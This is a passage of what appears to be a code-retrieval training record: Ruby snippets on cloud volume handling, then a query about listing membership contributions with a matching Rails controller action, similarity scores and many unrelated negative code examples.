@disk.generate_physical_device_names(options[:stripe])\n each_volume_size = (new_volume_size_in_gb / options[:stripe].to_f).ceil\n devices.each do |d| \n vol = self.create_volume(:nickname => \"#{nickname}-#{d}\", \n :description => \"Created by RS tools to initialize new EBS stripe volume\",\n :size => each_volume_size)\n raise vol unless vol['aws_id']\n \"Attaching new EBS volume: #{vol['aws_id']}\"\n att = self.attach_volume(vol['aws_id'], d)\n end\n devices.each {|d| self.wait_for_attachment(d) }\n\n @disk.initialize_stripe(devices)\n end", "def move_disk request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n uri, body, query_string_params = transcode_move_disk_request request_pb\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n params: query_string_params,\n options: options\n )\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n result\n end", "def sum_disk_size(disks, vm_id)\n return nil unless disks\n\n disk_size = 0\n\n disks.each do |disk|\n size = default(disk['size'], :number, nil)\n unless size\n log.warn(\"Disk size invalid for vm with id #{vm_id}\")\n return nil\n end\n\n disk_size += size.to_i\n end\n\n disk_size\n end", "def snapshot_disk(disk_id, metadata)\n metadata = Hash[metadata.map { |key, value| [key.to_s, value] }]\n\n with_thread_name(\"snapshot_disk(#{disk_id})\") do\n volume = @ec2_resource.volume(disk_id)\n devices = []\n volume.attachments.each { |attachment| devices << attachment.device }\n\n name = ['deployment', 'job', 'index'].collect { |key| metadata[key] }\n name << devices.first.split('/').last unless devices.empty?\n\n snapshot = volume.create_snapshot(name.join('/'))\n logger.info(\"snapshot '#{snapshot.id}' of volume '#{disk_id}' created\")\n\n\n tags = {}\n ['agent_id', 'instance_id', 'director_name', 'director_uuid'].each do |key|\n tags[key] = metadata[key]\n end\n tags['device'] = devices.first unless devices.empty?\n tags['Name'] = name.join('/')\n TagManager.tags(snapshot, tags)\n\n ResourceWait.for_snapshot(snapshot: snapshot, state: 'completed')\n snapshot.id\n end\n end", "def snapshot_disk(disk_id, metadata)\n raise Bosh::Clouds::NotSupported.new(false),\n 'snapshot_disk is not supported.'\n end", "def add_fs_mount(storage_obj)\n storage_id = storage_obj.id\n return if nfs_mounts[storage_id]\n\n mount_point = ::File.join(nfs_mount_root, nfs_mount_dir(storage_obj))\n type = storage_obj.storage.type\n nfs_mounts[storage_id] = {\n :uri => \"#{type}://#{nfs_uri(storage_obj)}\",\n :mount_point => mount_point,\n :read_only => true,\n :type => type\n }\n end", "def insert_disk(disk_name, zone_name, image_name=nil, opts={})\n data = false\n conn = @ec2_main.environment.connection\n if conn != nil\n response = conn.insert_disk(disk_name, zone_name, image_name, opts)\n if response.status == 200\n data = response.body\n else\n data = {}\n end\n else\n raise \"Connection Error\"\n end\n return data\n end", "def server_size_params\n params.require(:server_size).permit(:size_name, :model, :cpu, :cpu_cores, :memory, :disk)\n end", "def create_volume(size_or_snapshot_id, options = {})\n options = {:device => '/dev/sdh'}.merge(options)\n if size_or_snapshot_id.is_a?(Numeric)\n volume = @ec2.create_volume availability_zone, :size => size_or_snapshot_id\n else\n volume = @ec2.create_volume availability_zone, :snapshot_id => size_or_snapshot_id\n end\n if options[:tags]\n @ec2.create_tags(volume.id, options[:tags])\n end\n while volume.status != 'available'\n volume.reload\n end\n if options[:device]\n attach volume, options[:device]\n end\n volume\n end", "def move_disk request_pb, options:, &block\n uri = \"/compute/v1/projects/#{request_pb.project}/moveDisk\"\n body = request_pb.disk_move_request_resource.to_json\n\n response = @client_stub.make_post_request(\n uri: uri,\n body: body,\n options: options,\n )\n\n result = ::Google::Cloud::Compute::V1::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, response if block_given?\n\n result\n end", "def add_server(string)\n\n end", "def add_server(service_id, server={})\n request :post, \"/services/#{service_id}/servers\"\n end" ]
[ "0.7076035", "0.693785", "0.68272406", "0.67360306", "0.6712447", "0.6695081", "0.65584517", "0.6548588", "0.6505648", "0.64939356", "0.6481664", "0.63985795", "0.6391803", "0.6383347", "0.6370955", "0.63696635", "0.6250282", "0.62104225", "0.6199367", "0.6185591", "0.61561674", "0.6145234", "0.6138398", "0.6056799", "0.60453326", "0.59942096", "0.5982586", "0.5981185", "0.5933276", "0.5892831", "0.58616304", "0.57874364", "0.5777832", "0.57744503", "0.577211", "0.5747103", "0.57326156", "0.57300854", "0.5703721", "0.56897455", "0.5660196", "0.5641711", "0.5520159", "0.5514457", "0.5508296", "0.54989964", "0.54861575", "0.54640764", "0.54566175", "0.5452425", "0.54488504", "0.5446726", "0.54174566", "0.54108024", "0.54083526", "0.5401832", "0.53277594", "0.5314953", "0.5314953", "0.53009486", "0.5297402", "0.5294694", "0.52927226", "0.52927226", "0.5282056", "0.52783054", "0.5277351", "0.5265354", "0.5264941", "0.52465475", "0.52439785", "0.5212761", "0.51943356", "0.5193133", "0.51911145", "0.5191036", "0.51714915", "0.5158723", "0.5142995", "0.5128067", "0.5125065", "0.51237303", "0.5122976", "0.5118742", "0.51110333", "0.5101258", "0.5096335", "0.5086134", "0.5083757", "0.5079866", "0.5076657", "0.5056267", "0.5050978", "0.50484264", "0.50433356", "0.5023421", "0.501327", "0.50077194", "0.5004334", "0.496946" ]
0.8375884
0
GET /membership_contributions GET /membership_contributions.json
def index @membership_contributions = MembershipContribution.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n user = User.find_by(id: params[:user_id])\n return respond_with contributions: [], status: :not_found if user.nil?\n contributions = user.contributions\n respond_with contributions: contributions, status: :ok\n end", "def get_contributions(repository)\n Git.contributions GithubAPI.name(@username), repository\n end", "def index\r\n @contributions = @person.contributions\r\n end", "def set_membership_contribution\n @membership_contribution = MembershipContribution.find(params[:id])\n end", "def index\n @contributions = Contribution.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contributions }\n end\n end", "def index\n @memberships = @community.memberships\n end", "def GetMemberships params = {}\n\n params = params.merge(path: 'group_memberships.json')\n APICall(params)\n\n end", "def shared_contributions\n Contribution.find(:all,\n :select => \"contributions.*\",\n :joins => \"JOIN policies p on (contributions.policy_id = p.id) JOIN permissions e on (p.id = e.policy_id)\",\n :conditions => [ \"e.contributor_id=? AND e.contributor_type = 'Network'\", id ])\n end", "def index\n @memberships = @user.memberships\n end", "def membership_contribution_params\n params.require(:membership_contribution).permit(:membership_id, :date, :amount)\n end", "def display_contributions(repo_full_name)\n repo = Commitchamp::Repo.find_by(full_name: repo_full_name)\n contributors = repo.contributions.order('additions + deletions + commits DESC').limit(10)\n puts \"\\n##Contributions for '#{repo.full_name}'\"\n puts \"\\nUsername | Additions | Deletions | Commits\"\n contributors.each do |x|\n puts \"#{x.user.login} | #{x.additions} | #{x.deletions} | #{x.commits}\"\n end\n puts\n end", "def contributions_as_hash\n load_contributions unless @contributions\n @contributions\n end", "def GetMembership id\n\n APICall(path: \"group_memberships/#{id}.json\")\n\n end", "def list_memberships(user)\n get(\"/#{user}/lists/memberships.json\")\n end", "def update\n respond_to do |format|\n if @membership_contribution.update(membership_contribution_params)\n format.html { redirect_to @membership_contribution, notice: 'Membership contribution was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership_contribution }\n else\n format.html { render :edit }\n format.json { render json: @membership_contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @contributions = Contribution.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contributions }\n end\n end", "def index\n @memberships = current_user.memberships.order('memberships.created_at DESC').limit(10)\n @memberships = @memberships.project_prefix(params[:query]) if params[:query].present?\n # as much as i'd love to add includes(:project), it breaks the join in project_prefix.\n # go ahead, try it and see.\n\n render json: decorate(@memberships)\n end", "def index\n @contributions = Contribution.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contributions }\n end\n end", "def index\n @memberships = @user.memberships\n\n respond_to do |format|\n format.html # index.rhtml\n end\n end", "def shared_contributions\n list = []\n self.permissions.each do |p|\n p.policy.contributions.each do |c|\n list << c unless c.nil? || c.contributable.nil?\n end\n end\n list\n end", "def index\n @contributions = Contribution.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @contributions.to_xml }\n end\n end", "def index\n respond_to do |format|\n format.json do\n @memberships = @project.memberships.order('created_at DESC').limit(10)\n @memberships = @memberships.user_prefix(params[:query]) if params[:query].present?\n\n render json: decorate(@memberships)\n end\n end\n end", "def memberships\n @list.client.get(\"#{url}/memberships\")\n end", "def split_contributions(org, repo)\n total_contributors = []\n page = 1\n contributions = @github.contributions_page(org, repo).to_a\n total_contributors.concat(contributions)\n total_contributors\n end", "def index\n @memberships = Membership.where(user_id: current_user_id).includes(:project)\n project_array = []\n @memberships.each do |membership|\n project_array.push membership.project\n end\n json_response(project_array)\n end", "def index\n @mission_memberships = MissionMembership.all\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @membership }\n end\n end", "def index\n @organization_memberships = OrganizationMembership.where(user_id: params['user_id'])\n authorize @organization_memberships\n\n render json: @organization_memberships\n end", "def index\n @user = User.find(params[:user_id])\n @lab_memberships = @user.lab_memberships\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lab_memberships }\n end\n end", "def index\n @memberships = @organization.memberships.all\n end", "def index\n @research_group_memberships = ResearchGroupMembership.all\n end", "def contribution_params\n params.require(:contribution).permit(:contribution_url, :contribution_category, :user_id, :username, category_ids: [] )\n end", "def load_contributions\n @contributions = Hash.new\n repositories.each do |f|\n conts = get_contributions(f)\n @contributions[f] = conts unless conts.empty?\n end\n\n @contributions\n end", "def show\n @contribution = Contribution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contribution }\n end\n end", "def show\n @membership = Adhocracy::Membership.find(params[:id])\n\n render json: @membership\n end", "def show\n @memberships = @participant.memberships.all\n end", "def index\n authorize Group\n render :json => @group.group_memberships\n end", "def contributions_in_time_range(start_time: (Time.now.at_beginning_of_day - 24.hours).iso8601, \n end_time: Time.now.at_beginning_of_day.iso8601)\n request_uri = \"/contributions?destination=#{@entity.to_s}&\" +\n \"payment_timestamp=#{start_time.to_s}/\" +\n \"#{end_time.to_s}\"\n response = make_request(request_uri: request_uri, authentication: @auth)\n response[\"contributions\"]\n end", "def index\n @memberships = Membership.all\n end", "def index\n @memberships = Membership.all\n end", "def index\n @memberships = Membership.all\n end", "def index\n @contributions = Contribution.order(\"id DESC\").page params[:page]\n\n @contribution = Contribution.new\n @contribution.contributor = session[:contributor] if session[:contributor]\n @contribution.email = session[:email] if session[:email]\n end", "def total_contributions_message\n contribution_message(0)\nend", "def get_memberships\n return nil unless has_memberships?\n\n parent_css = \"div.profile-list > div:nth-of-type(#{@selector[:index] + 1})\"\n profile_css = @selector[:css]\n membership_css = 'div.dashboard-membership'\n new_selector = \"#{parent_css} #{profile_css} #{membership_css}\"\n\n (0..how_many_memberships? - 1).collect { |index| MemberManagement::Component::DashboardMembership.new(css: new_selector, index: index) }\n end", "def destroy\n @membership_contribution.destroy\n respond_to do |format|\n format.html { redirect_to membership_contributions_url, notice: 'Membership contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @membership }\n end\n end", "def create\n # byebug\n @membership_contribution = MembershipContribution.new(membership_contribution_params)\n @membership = MembershipBalance.find_by(params[:membership_id])\n respond_to do |format|\n if @membership_contribution.save\n @a = MembershipContribution.all.last\n # @balance = MembershipBalance.find(params)\n @amount1 = @membership.balance + @a.amount\n @b = MembershipBalance.where(membership_id: @a.membership_id).update_all(balance: @amount1)\n format.html { redirect_to @membership_contribution, notice: 'Membership contribution was successfully created.' }\n format.json { render :show, status: :created, location: @membership_contribution }\n else\n format.html { render :new }\n format.json { render json: @membership_contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @collaborations = Collaboration.where(:project_id => params[:project_id])\n respond_with @collaborations\n end", "def index\n @students_project_memberships = StudentsProjectMembership.all\n end", "def get_contributions(obj, items)\n prefix = obj[\"DOI\"][/^10\\.\\d{4,5}/]\n\n Array(items).reduce([]) do |sum, item|\n orcid = item.split(':', 2).last\n orcid = validate_orcid(orcid)\n\n return sum if orcid.nil?\n\n sum << { prefix: prefix,\n message_type: \"contribution\",\n relation: { \"subj_id\" => orcid_as_url(orcid),\n \"obj_id\" => obj[\"pid\"],\n \"source_id\" => source_id,\n \"publisher_id\" => obj[\"publisher_id\"],\n \"registration_agency_id\" => \"datacite\",\n \"occurred_at\" => obj[\"issued\"] },\n obj: obj }\n end\n end", "def show\n @aux = Contribution.exists?(params[:id])\n respond_to do |format|\n if @aux\n @contribution = Contribution.find(params[:id])\n format.json { render json: @contribution}\n else\n format.json { render json:{status:\"error\", code:404, message: \"Contribution with ID '\" + params[:id].to_s + \"' not found\"}, status: :not_found}\n end\n end\n end", "def index\n @memberships = @website.memberships.includes(:user).paginate(page: params[:page], per_page: 30)\n \n respond_to do |format|\n format.html\n format.json\n format.csv { send_data @memberships.to_csv(current_user.id) }\n format.js\n end\n end", "def index\n @company_profile = CompanyProfile.find(params[:company_profile_id])\n @company_profile_memberships = @company_profile.company_profile_membership\n \n end", "def ask\n @view = VIEWS[:ask]\n @contributions = Contribution.where(url: '')\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @contributions }\n end\n end", "def index\n @susu_memberships = SusuMembership.page(params[:page]).per(params[:per])\n\n render json: @susu_memberships\n end", "def show\n @membership = Membership.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @membership }\n end\n end", "def index\n @collaborations = Collaboration.all\n end", "def list_memberships(user_id:)\n path = '/users/{userId}/memberships'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::MembershipList\n )\n end", "def create\n @contribution = Contribution.new(contribution_params)\n session[:contributor] = @contribution.contributor\n session[:email] = @contribution.email\n\n respond_to do |format|\n if @contribution.save\n format.html { redirect_to contributions_url, notice: '投稿しました' }\n format.json { render :index, status: :created, location: @contribution }\n else\n @contributions = Contribution.order(\"id DESC\").page params[:page]\n format.html { render :index }\n format.json { render json: @contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def shared_contributables\n shared_contributions.map {|c| c.contributable }\n end", "def welcome\n @membership = Membership.find(params['subscription_id'])\n end", "def index\n @memberships = @class_group.memberships\n @users = @class_group.users\n @student_memberships = @class_group.memberships.where(kind: 'student')\n @teacher_memberships = @class_group.memberships.where(kind: 'teacher')\n if session[:new_member_msg] == \"no_github_user\"\n @new_member = session[:new_member_id]\n elsif session[:new_member_msg] == \"successful_save\"\n @new_member = User.find(session[:new_member_id])\n @new_membership = Membership.find_by(class_group_id: @class_group.id, user_id: @new_member.id)\n else\n @new_member = nil\n end\n session[:new_member_msg] = nil\n session[:new_member_id] = nil\n end", "def index\n @team_memberships = current_user.team_memberships.where(status: 'pending')\n end", "def index\n @groups = Group.where('owner_id' => current_user.id)\n @memberships = Membership.all\n respond_with(@groups, @memberships)\n end", "def index\n @contributions = Contribution.where(text:\"\").order(points: :desc)\n respond_to do |format|\n format.json { render json: @contributions}\n end\n end", "def create\n @membership = Membership.new(membership_params)\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to community_memberships_path(@community), notice: 'Community membership was successfully created.' }\n format.json { render :show, status: :created, location: @membership }\n else\n format.html { render :new }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @memberships = @memberships.order(:site_id, :role_id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @memberships }\n end\n end", "def index\n # @user = User.find(params[:user_id])\n # @communities = @user.communities\n @communities = Community.all\n end", "def create\n #sanity checks, can only modify memberships that you own\n if params[:user_id].to_i != current_user.id then\n render json: {message:'You do not own the membership list'}, :status => :unprocessable_entity\n return\n end\n\n #ensure the membership params is there\n unless params.has_key? :memberships then\n #render json: {message:'memberships list not found'}, :status => :unprocessable_entity\n #return\n #this could me no membership at all\n params[:memberships] = {}\n end\n\n #set the new memberships state\n current_user.set_memberships params[:memberships]\n\n render json: {\n message:'message received from server',\n memberships:User.find(params[:user_id]).memberships.map{ |x| x.attributes.merge({club_name: x.club_name})}\n }\n end", "def index\n @collaborators = User.includes(:github_account).\n where.not(id: params[:ineligible_user_ids]).\n limit(20)\n\n if params[:q]\n @collaborators = @collaborators.search(params[:q])\n end\n\n respond_to do |format|\n format.json\n end\n end", "def preview_node_contribution\n errors = []\n unless params[:contribution][:url].blank?\n embedly = EmbedlyService.new\n embedly.fetch_and_merge_params!(params)\n end\n @contribution = Contribution.update_or_create_node(params[:contribution], current_person)\n\n if @contribution.invalid?\n errors = @contribution.errors.full_messages\n elsif embedly and (embedly.bad_request? or embedly.not_found?)\n errors = [\"There was a problem retrieving information for '#{params[:contribution][:url]}'\"]\n elsif embedly and not embedly.ok?\n errors = ['There was a problem with our system. Please try again.']\n end\n\n ratings = RatingGroup.ratings_for_conversation_by_contribution_with_count(@contribution.conversation, current_person)\n\n respond_to do |format|\n if errors.size == 0\n format.js { render(:partial => \"conversations/new_contribution_preview\", :locals => { :div_id => params[:div_id], :layout => false, :ratings => ratings }) }\n format.html { render(:partial => \"conversations/new_contribution_preview\", :locals => { :div_id => params[:div_id], :layout => 'application', :ratings => ratings }) }\n else\n format.js { render :json => errors, :status => :unprocessable_entity }\n format.html { render :text => errors, :status => :unprocessable_entity }\n end\n end\n end", "def visibility\n @curation_concern = _curation_concern_type.find(params[:id]) unless curation_concern\n json = { curation_concern.id => { visibility: curation_concern.visibility, members: [] } }\n curation_concern.members.each do | m | \n json[curation_concern.id][:members] << { m.id => { visibility: m.visibility } }\n end\n respond_to do |wants|\n wants.json {\n render json: json.to_json\n }\n end\n end", "def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contribution }\n end\n end", "def org_members\n @members = @github.orgs.members.list APP_CONF['org']\n render json: @members\n end", "def list_members_of_collaboration(id,opts={})\n query_param_keys = [\n \n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id\n )\n\n # resource path\n path = path_replace(\"/v1/collaborations/{id}/members\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n response.map {|response|Collaborator.new(response)}\n end", "def total_contributions_cost\n contributions.to_a.sum(&:amount)\n end", "def index\n @communities = @district.communities.page(params[:page])\n\n respond_to do |format|\n format.html\n format.json { render json: @communities }\n end\n end", "def total_number_of_commit(repo_id)\n arr = contributors_list repo_id\n arr.first[:contributions]\n end", "def set_user_contribution\n @user_contribution = UserContribution.find(params[:id])\n end", "def create\n @membership = Membership.new(params[:membership])\n @membership.member = current_member\n\n respond_to do |format|\n if @membership.save\n format.html { redirect_to sub_clubs_path, :notice => 'You requested membership.' }\n format.json { render :json => @membership, :status => :created, :location => @membership }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @membership.errors, :status => :unprocessable_entity }\n end\n end\n end", "def contributions_with_outstanding_cois\n self.contributions.reject {|c| c.latest_committed_manuscript_coi_form }\n end", "def contribution_params\n params.require(:contribution).permit(:titulo, :url, :puntos, :text, :tipo, :user_id)\n end", "def index\n @call_list_memberships = CallListMembership.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @call_list_memberships }\n end\n end", "def contribution_params\n params.require(:contribution).permit(:titulo, :user_id, :url, :puntos, :text)\n end", "def index\n @communities = Community.all\n render json: {items: @communities}\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def bulk_contributions(org, repo)\n total_contributors = split_contributions(org, repo)\n total_contributors.each do |x|\n self.create_contribution(x, org, repo)\n end\n end", "def contribution_params\n params.require(:contribution).permit(:text, :contributor, :email)\n end", "def CreateMembership params = {}\n \n APICall(path: 'group_memberships.json',method: 'POST',payload: params.to_json)\n \n end", "def index\n @community_communities = Community::Community.all\n end", "def index\n @communities = Community.all\n respond_with @communities\n end", "def index\n #@projects = []\n if current_user\n #@projects = current_user.projects.where(\"memberships.status >= ?\", 1)\n end\n\n if params[:id]\n @project = Project.find(params[:id])\n authorize! :read, @project\n else\n @project = @projects.first\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js { render :action => 'show'}\n format.json { render json: @projects }\n end\n end", "def project_memberships\n # member entries are embedded in projects. We'll consolidate this for the client\n projects = Project.all(:conditions=>{ \"members.account_id\"=> self.id })\n\tgroups = Group.all(:conditions=>{ \"group_memberships.account_id\"=> self.id})\n\tprojects_by_group = []\n\tgroups.each do |g|\n\t\tProject.all(:conditions=>{\"group_projects.group_id\"=> g.id}).each { |p| projects_by_group << p}\n\tend\n memberships = []\n projects.each do |project|\n memberships += project.members.select { |member| member.account_id.to_s == self.id.to_s }\n end\n\tgroup_memberships = []\n\t# Find which GroupProject has the member, and build Hash with data to build ProjectMembership\n\tprojects_by_group.each do |project|\n\t\tproject.group_projects.each do |group_project|\n\t\t\tgroups.each do |group|\n\t\t\t\tif group_project.group_id == group.id\n\t\t\t\t\tgroup_memberships << { :proj_id=>project.id, :proj_name=>project.name, :membership_id=>group_project.group_id, :permissions=>group_project.permissions, :role=>\"group\", :proj_status=>project.status}\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n ships = []\n memberships.each do |membership|\n project = membership.project\n ships << ProjectMembership.new(project.id.to_s, project.name, membership.id.to_s, membership.permissions, membership.role, project.status, membership.last_opened_at)\n end\n\tgroup_memberships.each do |m|\n\t already_membership = ships.select {|s| s.project_id == m[:proj_id].to_s}.first\n\t if already_membership.nil?\n\t\tships << ProjectMembership.new(m[:proj_id].to_s, m[:proj_name], m[:membership_id].to_s, m[:permissions], m[:role], m[:proj_status])\n\t else\n\t\talready_membership.member_permissions |= m[:permissions]\n\t end\n\tend\n ships\n end", "def index\n @communities = Community.search(params[:search], params[:page])\n respond_with(@communities)\n end", "def commission\n get 'commission'\n end", "def new\n @membership = Membership.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @membership }\n end\n end", "def index\n @contribucions = getAllContribucioUrl\n end", "def update\n respond_to do |format|\n if @membership.update(membership_params)\n format.html { redirect_to community_memberships_path(@community), notice: 'Community membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership }\n else\n format.html { render :edit }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def members_application_received\n# @member = Member.find(params[:id])\n# @products = Product.membership.all\n \n respond_to do |format|\n format.html # show.html.erb\n# format.json { render :json => @member }\n end\n end" ]
[ "0.73480463", "0.68995786", "0.68482727", "0.6628131", "0.6467863", "0.6412968", "0.62731004", "0.61800843", "0.60863173", "0.60760957", "0.60544586", "0.60061777", "0.59870064", "0.59585655", "0.59462893", "0.59455144", "0.5944579", "0.5922383", "0.5919908", "0.59150016", "0.5853898", "0.58313817", "0.5825985", "0.5755501", "0.57485294", "0.57433563", "0.5649967", "0.56472105", "0.5641865", "0.5639797", "0.5639579", "0.5622477", "0.56174994", "0.5614153", "0.55966467", "0.55835164", "0.5573698", "0.55731136", "0.55695075", "0.55695075", "0.55695075", "0.5559131", "0.5543621", "0.5542251", "0.5537153", "0.55254465", "0.55187905", "0.55036765", "0.5490531", "0.54608893", "0.5449752", "0.5449372", "0.5440608", "0.54243714", "0.54033214", "0.5403218", "0.5385156", "0.53781575", "0.5377851", "0.53681386", "0.5350787", "0.53483087", "0.5342691", "0.53280663", "0.53277993", "0.5319633", "0.5316172", "0.5299047", "0.5294702", "0.5284681", "0.52718836", "0.5265627", "0.5251374", "0.52481455", "0.52377015", "0.519877", "0.51867235", "0.51830035", "0.518147", "0.5173853", "0.51642764", "0.5160946", "0.51509506", "0.51487714", "0.5146066", "0.5138771", "0.5138771", "0.51348466", "0.51158327", "0.51138854", "0.51121414", "0.51095957", "0.5105625", "0.50776345", "0.5076862", "0.5071995", "0.50718707", "0.50677794", "0.5065266", "0.5065105" ]
0.7566682
0
GET /membership_contributions/1 GET /membership_contributions/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @membership_contributions = MembershipContribution.all\n end", "def index\n user = User.find_by(id: params[:user_id])\n return respond_with contributions: [], status: :not_found if user.nil?\n contributions = user.contributions\n respond_with contributions: contributions, status: :ok\n end", "def index\r\n @contributions = @person.contributions\r\n end", "def set_membership_contribution\n @membership_contribution = MembershipContribution.find(params[:id])\n end", "def index\n @contributions = Contribution.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contributions }\n end\n end", "def get_contributions(repository)\n Git.contributions GithubAPI.name(@username), repository\n end", "def index\n @memberships = @community.memberships\n end", "def show\n @contribution = Contribution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contribution }\n end\n end", "def GetMembership id\n\n APICall(path: \"group_memberships/#{id}.json\")\n\n end", "def show\n @aux = Contribution.exists?(params[:id])\n respond_to do |format|\n if @aux\n @contribution = Contribution.find(params[:id])\n format.json { render json: @contribution}\n else\n format.json { render json:{status:\"error\", code:404, message: \"Contribution with ID '\" + params[:id].to_s + \"' not found\"}, status: :not_found}\n end\n end\n end", "def index\n @contributions = Contribution.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contributions }\n end\n end", "def update\n respond_to do |format|\n if @membership_contribution.update(membership_contribution_params)\n format.html { redirect_to @membership_contribution, notice: 'Membership contribution was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership_contribution }\n else\n format.html { render :edit }\n format.json { render json: @membership_contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def shared_contributions\n Contribution.find(:all,\n :select => \"contributions.*\",\n :joins => \"JOIN policies p on (contributions.policy_id = p.id) JOIN permissions e on (p.id = e.policy_id)\",\n :conditions => [ \"e.contributor_id=? AND e.contributor_type = 'Network'\", id ])\n end", "def index\n @contributions = Contribution.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contributions }\n end\n end", "def index\n @memberships = current_user.memberships.order('memberships.created_at DESC').limit(10)\n @memberships = @memberships.project_prefix(params[:query]) if params[:query].present?\n # as much as i'd love to add includes(:project), it breaks the join in project_prefix.\n # go ahead, try it and see.\n\n render json: decorate(@memberships)\n end", "def membership_contribution_params\n params.require(:membership_contribution).permit(:membership_id, :date, :amount)\n end", "def index\n @contributions = Contribution.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @contributions.to_xml }\n end\n end", "def show\n @membership = Adhocracy::Membership.find(params[:id])\n\n render json: @membership\n end", "def display_contributions(repo_full_name)\n repo = Commitchamp::Repo.find_by(full_name: repo_full_name)\n contributors = repo.contributions.order('additions + deletions + commits DESC').limit(10)\n puts \"\\n##Contributions for '#{repo.full_name}'\"\n puts \"\\nUsername | Additions | Deletions | Commits\"\n contributors.each do |x|\n puts \"#{x.user.login} | #{x.additions} | #{x.deletions} | #{x.commits}\"\n end\n puts\n end", "def index\n respond_to do |format|\n format.json do\n @memberships = @project.memberships.order('created_at DESC').limit(10)\n @memberships = @memberships.user_prefix(params[:query]) if params[:query].present?\n\n render json: decorate(@memberships)\n end\n end\n end", "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @membership }\n end\n end", "def index\n @memberships = @user.memberships\n end", "def GetMemberships params = {}\n\n params = params.merge(path: 'group_memberships.json')\n APICall(params)\n\n end", "def contributions_as_hash\n load_contributions unless @contributions\n @contributions\n end", "def index\n @memberships = @user.memberships\n\n respond_to do |format|\n format.html # index.rhtml\n end\n end", "def index\n @memberships = Membership.where(user_id: current_user_id).includes(:project)\n project_array = []\n @memberships.each do |membership|\n project_array.push membership.project\n end\n json_response(project_array)\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @membership }\n end\n end", "def show\n @membership = Membership.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @membership }\n end\n end", "def new\n @contribution = Contribution.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contribution }\n end\n end", "def create\n # byebug\n @membership_contribution = MembershipContribution.new(membership_contribution_params)\n @membership = MembershipBalance.find_by(params[:membership_id])\n respond_to do |format|\n if @membership_contribution.save\n @a = MembershipContribution.all.last\n # @balance = MembershipBalance.find(params)\n @amount1 = @membership.balance + @a.amount\n @b = MembershipBalance.where(membership_id: @a.membership_id).update_all(balance: @amount1)\n format.html { redirect_to @membership_contribution, notice: 'Membership contribution was successfully created.' }\n format.json { render :show, status: :created, location: @membership_contribution }\n else\n format.html { render :new }\n format.json { render json: @membership_contribution.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @mission_memberships = MissionMembership.all\n end", "def ask\n @view = VIEWS[:ask]\n @contributions = Contribution.where(url: '')\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @contributions }\n end\n end", "def index\n @organization_memberships = OrganizationMembership.where(user_id: params['user_id'])\n authorize @organization_memberships\n\n render json: @organization_memberships\n end", "def index\n @contributions = Contribution.order(\"id DESC\").page params[:page]\n\n @contribution = Contribution.new\n @contribution.contributor = session[:contributor] if session[:contributor]\n @contribution.email = session[:email] if 